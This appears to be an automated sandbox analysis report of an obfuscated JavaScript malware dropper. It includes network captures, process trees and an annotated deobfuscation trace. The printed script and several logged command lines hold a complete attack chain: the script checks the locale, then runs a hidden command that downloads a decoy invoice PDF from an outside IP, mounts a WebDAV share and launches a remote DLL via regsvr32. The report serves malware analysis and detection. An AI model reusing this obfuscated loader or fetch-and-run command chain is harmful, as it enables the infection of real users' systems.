Jan 10, 2025 22:37:20.525163889 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:37:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:37:20.525216103 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:37:20.525257111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:37:20.525286913 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 22:37:20.525356054 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 22:37:20.525393009 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 22:37:20.525427103 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 22:37:20.525460958 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 22:37:20.525495052 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 22:37:20.525537014 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 22:37:20.530392885 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	193.143.1.205	8888	7736	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:37:21.865310907 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:37:22.664093018 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:37:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:37:16
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js"
Imagebase:	0x7ff693310000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:37:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll
Imagebase:	0x7ff6ac160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:37:17
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:37:17
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:37:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:37:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ac160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:37:21
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7660e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:37:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:37:21
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:37:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2056 --field-trial-handle=1620,i,6809152963061075272,15382052430642009237,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function pgiemmeuz() {	pgiemmeuz() ➔ undefined
1	wxikgme = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var vqlcgy = this[occajck + zomtxqsq + qfuckj + lpgshf + gjjpmdx + bcgwb + szufolp + dxell] ( this[nvfydys + kcscpcma + wxvvwdh + qfuckj + yuderoe + occajck + dxell][jlxsmoe + qfuckj + gjjpmdx + zomtxqsq + dxell + gjjpmdx + qqggkg + pyowfdf + nrxpvz + gjjpmdx + wxvvwdh + dxell] ( nvfydys + kcscpcma + wxvvwdh + qfuckj + yuderoe + occajck + dxell + dvurr + kcscpcma + rdeditcc + gjjpmdx + zlcoocb + zlcoocb ) [gvcink + gjjpmdx + nlrfhok + gvcink + gjjpmdx + zomtxqsq + nkhtdxb] ( niqvfy + pqpsqeamk + jvsnxgw + iqgbgnw + jrosfykn + jlxsmoe + rvdga + gvcink + gvcink + jvsnxgw + aoywuxfq + kqfwz + jrosfykn + rvdga + kcscpcma + jvsnxgw + gvcink + jmqdjued + jlxsmoe + zaajd + szufolp + dxell + qfuckj + zaajd + zlcoocb + bfcdukc + kpldyruo + zomtxqsq + szufolp + gjjpmdx + zlcoocb + jmqdjued + bcgwb + szufolp + dxell + gjjpmdx + qfuckj + szufolp + zomtxqsq + dxell + yuderoe + zaajd + szufolp + zomtxqsq + zlcoocb + jmqdjued + zlorjjq + zaajd + wxvvwdh + zomtxqsq + zlcoocb + gjjpmdx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fddait = 0 ; fddait < wxikgme[zlcoocb + gjjpmdx + szufolp + nlrfhok + dxell + rdeditcc] ; ++ fddait )
4	{
5	if ( vqlcgy == wxikgme[fddait] )
6	{
7	vqlcgy = true;
8	break ;
9	}
10	}
11	if ( vqlcgy !== true )
12	this[nvfydys + kcscpcma + wxvvwdh + qfuckj + yuderoe + occajck + dxell][tkfkuk + pxesxihs + yuderoe + dxell] ( );
13	this[nvfydys + kcscpcma + wxvvwdh + qfuckj + yuderoe + occajck + dxell][jlxsmoe + qfuckj + gjjpmdx + zomtxqsq + dxell + gjjpmdx + qqggkg + pyowfdf + nrxpvz + gjjpmdx + wxvvwdh + dxell] ( nvfydys + kcscpcma + wxvvwdh + qfuckj + yuderoe + occajck + dxell + dvurr + kcscpcma + rdeditcc + gjjpmdx + zlcoocb + zlcoocb ) [qfuckj + pxesxihs + szufolp] ( wxvvwdh + ubwjz + nkhtdxb + bfcdukc + krcog + wxvvwdh + bfcdukc + occajck + zaajd + nxcwe + gjjpmdx + qfuckj + lpgshf + rdeditcc + gjjpmdx + zlcoocb + zlcoocb + dvurr + gjjpmdx + wyaqj + gjjpmdx + bfcdukc + qdvxvjhrf + jlxsmoe + zaajd + ubwjz + ubwjz + zomtxqsq + szufolp + nkhtdxb + bfcdukc + hydmbosbd + bcgwb + szufolp + gnwlh + zaajd + qlloowv + gjjpmdx + qdvxvjhrf + nvfydys + gjjpmdx + pyowfdf + gvcink + gjjpmdx + tfseapza + pxesxihs + gjjpmdx + lpgshf + dxell + bfcdukc + qdvxvjhrf + qqggkg + pxesxihs + dxell + xybklnzev + yuderoe + zlcoocb + gjjpmdx + bfcdukc + unaul + dxell + gjjpmdx + ubwjz + occajck + unaul + jmqdjued + yuderoe + szufolp + gnwlh + zaajd + yuderoe + wxvvwdh + gjjpmdx + dvurr + occajck + nkhtdxb + syqtqivdr + bfcdukc + rdeditcc + dxell + dxell + occajck + ejqeunp + krcog + krcog + wudjztvyu + bsgbj + uoqilv + dvurr + wudjztvyu + tavnnv + uoqilv + dvurr + wudjztvyu + dvurr + ltrkgasxf + lwzuiy + mwglliez + krcog + yuderoe + szufolp + gnwlh + zaajd + yuderoe + wxvvwdh + gjjpmdx + dvurr + occajck + rdeditcc + occajck + hydmbosbd + nskvgrpfw + nskvgrpfw + lpgshf + dxell + zomtxqsq + qfuckj + dxell + bfcdukc + unaul + dxell + gjjpmdx + ubwjz + occajck + unaul + jmqdjued + yuderoe + szufolp + gnwlh + zaajd + yuderoe + wxvvwdh + gjjpmdx + dvurr + occajck + nkhtdxb + syqtqivdr + nskvgrpfw + nskvgrpfw + wxvvwdh + ubwjz + nkhtdxb + bfcdukc + krcog + wxvvwdh + bfcdukc + szufolp + gjjpmdx + dxell + bfcdukc + pxesxihs + lpgshf + gjjpmdx + bfcdukc + jmqdjued + jmqdjued + wudjztvyu + bsgbj + uoqilv + dvurr + wudjztvyu + tavnnv + uoqilv + dvurr + wudjztvyu + dvurr + ltrkgasxf + lwzuiy + mwglliez + xbwjyr + qpipwvafw + qpipwvafw + qpipwvafw + qpipwvafw + jmqdjued + nkhtdxb + zomtxqsq + gnwlh + nxcwe + nxcwe + nxcwe + qfuckj + zaajd + zaajd + dxell + jmqdjued + nskvgrpfw + nskvgrpfw + wxvvwdh + ubwjz + nkhtdxb + bfcdukc + krcog + wxvvwdh + bfcdukc + qfuckj + gjjpmdx + nlrfhok + lpgshf + gnwlh + qfuckj + uoqilv + ltrkgasxf + bfcdukc + krcog + lpgshf + bfcdukc + jmqdjued + jmqdjued + wudjztvyu + bsgbj + uoqilv + dvurr + wudjztvyu + tavnnv + uoqilv + dvurr + wudjztvyu + dvurr + ltrkgasxf + lwzuiy + mwglliez + xbwjyr + qpipwvafw + qpipwvafw + qpipwvafw + qpipwvafw + jmqdjued + nkhtdxb + zomtxqsq + gnwlh + nxcwe + nxcwe + nxcwe + qfuckj + zaajd + zaajd + dxell + jmqdjued + ltrkgasxf + tzjxwvtc + uoqilv + lwzuiy + uoqilv + uoqilv + lwzuiy + tzjxwvtc + mwglliez + wudjztvyu + rmsqx + uoqilv + qpipwvafw + dvurr + nkhtdxb + zlcoocb + zlcoocb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll",0,false) ➔ 0
14	}
15	wyaqj = "B";
16	wyaqj = "Q";
17	wyaqj = "c";
18	wyaqj = "M";
19	wyaqj = "d";
20	wyaqj = "j";
21	wyaqj = "Q";
22	wyaqj = "o";
23	wyaqj = "H";
24	wyaqj = "a";
25	wyaqj = "m";
26	wyaqj = "M";
27	wyaqj = "M";
28	wyaqj = "H";
29	wyaqj = "j";
30	wyaqj = "c";
31	wyaqj = "q";
32	wyaqj = "q";
33	wyaqj = "u";
34	wyaqj = "W";
35	wyaqj = "e";
36	wyaqj = "u";
37	wyaqj = "e";
38	wyaqj = "K";
39	wyaqj = "U";
40	wyaqj = "A";
41	wyaqj = "h";
42	wyaqj = "L";
43	wyaqj = "C";
44	wyaqj = "S";
45	wyaqj = "Z";
46	wyaqj = "q";
47	wyaqj = "g";
48	wyaqj = "U";
49	wyaqj = "v";
50	wyaqj = "Z";
51	wyaqj = "k";
52	wyaqj = "J";
53	wyaqj = "x";
54	bcgwb = "p";
55	bcgwb = "z";
56	bcgwb = "X";
57	bcgwb = "P";
58	bcgwb = "d";
59	bcgwb = "N";
60	bcgwb = "h";
61	bcgwb = "h";
62	bcgwb = "n";
63	bcgwb = "k";
64	bcgwb = "t";
65	bcgwb = "n";
66	bcgwb = "n";
67	bcgwb = "x";
68	bcgwb = "D";
69	bcgwb = "l";
70	bcgwb = "T";
71	bcgwb = "G";
72	bcgwb = "L";
73	bcgwb = "t";
74	bcgwb = "G";
75	bcgwb = "X";
76	bcgwb = "Z";
77	bcgwb = "t";
78	bcgwb = "H";
79	bcgwb = "Q";
80	bcgwb = "r";
81	bcgwb = "s";
82	bcgwb = "d";
83	bcgwb = "Z";
84	bcgwb = "m";
85	bcgwb = "O";
86	bcgwb = "L";
87	bcgwb = "q";
88	bcgwb = "B";
89	bcgwb = "B";
90	bcgwb = "T";
91	bcgwb = "F";
92	bcgwb = "D";
93	bcgwb = "y";
94	bcgwb = "c";
95	bcgwb = "y";
96	bcgwb = "I";
97	qfuckj = "X";
98	qfuckj = "Z";
99	qfuckj = "F";
100	qfuckj = "E";
101	qfuckj = "T";
102	qfuckj = "P";
103	qfuckj = "g";
104	qfuckj = "V";
105	qfuckj = "A";
106	qfuckj = "p";
107	qfuckj = "u";
108	qfuckj = "Q";
109	qfuckj = "L";
110	qfuckj = "h";
111	qfuckj = "w";
112	qfuckj = "G";
113	qfuckj = "a";
114	qfuckj = "W";
115	qfuckj = "a";
116	qfuckj = "C";
117	qfuckj = "Z";
118	qfuckj = "P";
119	qfuckj = "g";
120	qfuckj = "G";
121	qfuckj = "D";
122	qfuckj = "r";
123	qfuckj = "r";
124	qfuckj = "a";
125	qfuckj = "G";
126	qfuckj = "h";
127	qfuckj = "S";
128	qfuckj = "F";
129	qfuckj = "p";
130	qfuckj = "s";
131	qfuckj = "o";
132	qfuckj = "x";
133	qfuckj = "S";
134	qfuckj = "F";
135	qfuckj = "r";
136	xbwjyr = "S";
137	xbwjyr = "x";
138	xbwjyr = "L";
139	xbwjyr = "Y";
140	xbwjyr = "z";
141	xbwjyr = "u";
142	xbwjyr = "k";
143	xbwjyr = "A";
144	xbwjyr = "P";
145	xbwjyr = "I";
146	xbwjyr = "e";
147	xbwjyr = "b";
148	xbwjyr = "S";
149	xbwjyr = "I";
150	xbwjyr = "m";
151	xbwjyr = "A";
152	xbwjyr = "n";
153	xbwjyr = "C";
154	xbwjyr = "z";
155	xbwjyr = "i";
156	xbwjyr = "i";
157	xbwjyr = "q";
158	xbwjyr = "e";
159	xbwjyr = "E";
160	xbwjyr = "U";
161	xbwjyr = "Z";
162	xbwjyr = "U";
163	xbwjyr = "K";
164	xbwjyr = "D";
165	xbwjyr = "b";
166	xbwjyr = "Z";
167	xbwjyr = "A";
168	xbwjyr = "U";
169	xbwjyr = "j";
170	xbwjyr = "p";
171	xbwjyr = "h";
172	xbwjyr = "N";
173	xbwjyr = "L";
174	xbwjyr = "t";
175	xbwjyr = "@";
176	unaul = "t";
177	unaul = "u";
178	unaul = "r";
179	unaul = "W";
180	unaul = "m";
181	unaul = "I";
182	unaul = "Z";
183	unaul = "p";
184	unaul = "I";
185	unaul = "T";
186	unaul = "t";
187	unaul = "%";
188	pqpsqeamk = "y";
189	pqpsqeamk = "K";
190	pqpsqeamk = "g";
191	pqpsqeamk = "j";
192	pqpsqeamk = "k";
193	pqpsqeamk = "u";
194	pqpsqeamk = "B";
195	pqpsqeamk = "y";
196	pqpsqeamk = "B";
197	pqpsqeamk = "c";
198	pqpsqeamk = "U";
199	pqpsqeamk = "Y";
200	pqpsqeamk = "P";
201	pqpsqeamk = "c";
202	pqpsqeamk = "s";
203	pqpsqeamk = "q";
204	pqpsqeamk = "l";
205	pqpsqeamk = "J";
206	pqpsqeamk = "H";
207	pqpsqeamk = "q";
208	pqpsqeamk = "Q";
209	pqpsqeamk = "j";
210	pqpsqeamk = "p";
211	pqpsqeamk = "k";
212	pqpsqeamk = "Q";
213	pqpsqeamk = "J";
214	pqpsqeamk = "t";
215	pqpsqeamk = "W";
216	pqpsqeamk = "Q";
217	pqpsqeamk = "l";
218	pqpsqeamk = "O";
219	pqpsqeamk = "K";
220	pqpsqeamk = "e";
221	pqpsqeamk = "J";
222	pqpsqeamk = "n";
223	pqpsqeamk = "K";
224	bsgbj = "g";
225	bsgbj = "R";
226	bsgbj = "L";
227	bsgbj = "d";
228	bsgbj = "G";
229	bsgbj = "v";
230	bsgbj = "V";
231	bsgbj = "g";
232	bsgbj = "i";
233	bsgbj = "T";
234	bsgbj = "L";
235	bsgbj = "Z";
236	bsgbj = "r";
237	bsgbj = "H";
238	bsgbj = "D";
239	bsgbj = "L";
240	bsgbj = "H";
241	bsgbj = "u";
242	bsgbj = "M";
243	bsgbj = "l";
244	bsgbj = "V";
245	bsgbj = "H";
246	bsgbj = "T";
247	bsgbj = "x";
248	bsgbj = "X";
249	bsgbj = "q";
250	bsgbj = "C";
251	bsgbj = "9";
252	krcog = "X";
253	krcog = "Q";
254	krcog = "x";
255	krcog = "z";
256	krcog = "U";
257	krcog = "/";
258	tavnnv = "m";
259	tavnnv = "L";
260	tavnnv = "k";
261	tavnnv = "C";
262	tavnnv = "O";
263	tavnnv = "P";
264	tavnnv = "o";
265	tavnnv = "n";
266	tavnnv = "y";
267	tavnnv = "c";
268	tavnnv = "F";
269	tavnnv = "L";
270	tavnnv = "D";
271	tavnnv = "K";
272	tavnnv = "A";
273	tavnnv = "H";
274	tavnnv = "S";
275	tavnnv = "h";
276	tavnnv = "D";
277	tavnnv = "z";
278	tavnnv = "E";
279	tavnnv = "j";
280	tavnnv = "t";
281	tavnnv = "y";
282	tavnnv = "x";
283	tavnnv = "L";
284	tavnnv = "p";
285	tavnnv = "E";
286	tavnnv = "m";
287	tavnnv = "m";
288	tavnnv = "M";
289	tavnnv = "L";
290	tavnnv = "J";
291	tavnnv = "A";
292	tavnnv = "E";
293	tavnnv = "e";
294	tavnnv = "s";
295	tavnnv = "y";
296	tavnnv = "4";
297	zlcoocb = "x";
298	zlcoocb = "N";
299	zlcoocb = "a";
300	zlcoocb = "G";
301	zlcoocb = "m";
302	zlcoocb = "Y";
303	zlcoocb = "j";
304	zlcoocb = "j";
305	zlcoocb = "y";
306	zlcoocb = "k";
307	zlcoocb = "H";
308	zlcoocb = "q";
309	zlcoocb = "o";
310	zlcoocb = "m";
311	zlcoocb = "p";
312	zlcoocb = "w";
313	zlcoocb = "I";
314	zlcoocb = "D";
315	zlcoocb = "J";
316	zlcoocb = "A";
317	zlcoocb = "H";
318	zlcoocb = "V";
319	zlcoocb = "l";
320	xybklnzev = "p";
321	xybklnzev = "C";
